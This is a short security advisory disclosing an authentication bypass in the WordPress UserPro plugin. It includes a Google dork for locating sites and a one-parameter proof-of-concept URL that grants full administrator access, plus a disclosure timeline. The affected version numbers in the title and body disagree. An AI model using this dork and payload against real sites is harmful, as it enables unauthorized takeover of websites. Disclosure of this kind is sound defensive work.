WordPress Plugin Userpro < 4.9.17.1 Authentication Bypass
# Google Dork: inurl:/plugins/userpro
# Date: 11.04.2017
# Exploit Author: Colette Chamberland (Wordfence), Iain Hadgraft (Duke University)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9
# Software Link: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9
# Version: <= 4.6.17
# Tested on: Wordpress 4.8.3
# CVE : requested, not assigned yet. Description ================================================================================
The userpro plugin has the ability to bypass login authentication for the user 'admin'. If the site does not use the standard username 'admin' it is not affected. PoC ================================================================================
1 - Google Dork inurl:/plugins/userpro
2 - Browse to a site that has the userpro plugin installed.
3 - Append ?up_auto_log=true to the target: http://www.targetsite.com/?up_auto_log=true
4 - If the site has a default 'admin' user you will now see the wp menu at the top of the site.
You are now logged in will full administrator access. ================================================================================
10/25/2017 – Wordfence notified of issue by Iain Hadgraft.
10/26/2017 – Vendor resolved the issue in the plugin.
11/04/2017 - Disclosure.
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